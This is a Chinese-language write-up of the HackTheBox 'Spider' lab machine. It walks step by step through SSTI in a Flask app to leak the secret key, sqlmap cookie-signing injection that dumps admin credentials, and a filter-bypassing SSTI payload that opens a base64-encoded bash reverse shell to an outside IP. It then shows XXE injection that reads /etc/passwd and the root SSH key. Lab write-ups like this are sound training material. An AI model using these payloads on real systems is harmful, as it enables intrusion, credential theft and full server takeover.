HackTheBox-Spider WP

0x01 端口探测


nmap -sC -sV -v 10.10.10.243
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



0x02 WebShell/User Shell

访问80端口,直接跳转到spider.htb,然后报错:

image-20211023123446608


在/etc/hosts将域名和端口进行绑定

image-20211023123627556



重新访问spider.htb,界面正常。

image-20211023123540245



抓包能够发现携带了cookie,根据cookie形式推测后端使用了flask:

image-20211023124830611



在用户注册界面尝试SSTI,用户名输入{{ 2+2 }}:

image-20211023125010739



然后进入登录后界面的USER INFORMATION界面:

image-20211023125145997



发现成功解析:

image-20211023125153697



试着读一下config:

image-20211023132136519



image-20211023132405045



<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

使用flask-session-cookie-manager对cookie进行解密,发现以uuid形式存储。即在这条路我们需要拿到管理员的uuid。


E:\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py decode -s Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 -c eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjM3MTFkYzU0LThhZDEtNDNjOC05YjBlLTU5YjIzNzU5ZmU0MiJ9.YXORyQ.5Gl9TfDi1A0VQnsvjoEbBdJFLxU

{'cart_items': [], 'uuid': '3711dc54-8ad1-43c8-9b0e-59b23759fe42'}

换一条路试试命令执行,发现被限制了字符数,不太可能绕过:

image-20211023132211989



继续探索,最后在hacktricks上找到了一个关于flask的session注入的问题:

https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap#eval

Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

这里一开始没弄出来,最后发现是VPN的问题。换了个VPN后能跑出数据:

sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump

image-20211023195948896



dump后的数据如下,第一条即为管理员的信息:

image-20211023200030569



129f60ea-30cf-4065-afb9-6be45ad38b73
chiv
ch1VW4sHERE7331

以管理员身份登录,发现直接进入了admin panel:

image-20211023200249460



然年后有一个supportportal的url:

image-20211023200316675



http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

界面如下,不出意外的话又是一个SSTI:

image-20211023200704317



然后发现有WAF:

image-20211023202237405

最后构造出Payload的过程如下:

首先去PayloadAllTheThings上找了个Payload:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

输入发现过滤了单引号',将单引号替换成双引号

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

然后是发现{{}}被过滤,使用{%include ...%}的方式进行绕过:

{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")() %}

成功执行后服务器会报500的错误,没有回显。通过sleep函数判断是否能够执行命令,发现可以:

image-20211024123656754



接着构造反弹shell的payload,使用base64编码:

这里不知道为什么直接的bash -i >& /dev/tcp/10.10.16.33/4455 0>&1不能起作用,知道的师傅可以教教

bash -c 'exec bash -i >& /dev/tcp/10.10.16.33/4455 0>&1' #原payload
YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0NTUgMD4mMSc= #Base64编码
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0NTUgMD4mMSc= | base64 -d | bash")|attr("read")() %}

拿到普通用户的shell:

image-20211023212859982



直接去价目下的.ssh目录翻私钥,然后连接之:

image-20211023213515953



0x03 Root Shell

拿到User Shell后尝试提权,在查看网络连接的时候发现有8080端口。使用curl测试发现是不同的app:

image-20211024170953998



于是使用ssh进行本地转发:

ssh -L 8888:localhost:8080 chiv@10.10.10.243 -i chiv

image-20211024171133075



这里以任意用户都能登录,登录后会分配又一个flask的cookie:

.eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YXQcMA._xj9xfPtBO9gayEARbgbcNUl-48

解密如下:

┌──(kali㉿kali)-[~/桌面]
└─$ flask-unsign --decode --cookie .eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YXQcMA._xj9xfPtBO9gayEARbgbcNUl-48

{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWRtaW48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}

Base64内容解码,发现有xml,推测存在xxe:

<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>admin</username>
        <is_admin>0</is_admin>
    </data>
</root>

开始查找利用点,抓包发现登录时有个version参数,这个会影响到后面cookie的生成:

image-20211024103027313


于是乎这里就很明显了,我们可以通过闭合注释注入xml代码,造成xxe。

这里还有一点,就是username参数也在xml的便签中,我们便可以将输入&admin;,将一个admin实体注入进去。

构造payload如下:

username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///etc/passwd'>]><!--

使用生成的cookie访问site,能够发现回显:

image-20211024111438234



这样的利用方式就比较简单了,我们直接读取root用户的私钥即可:

username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///root/.ssh/id_rsa'>]><!--

image-20211024111818598



image-20211024111806257



保存后ssh登录即可:

image-20211024125240826

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1nt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值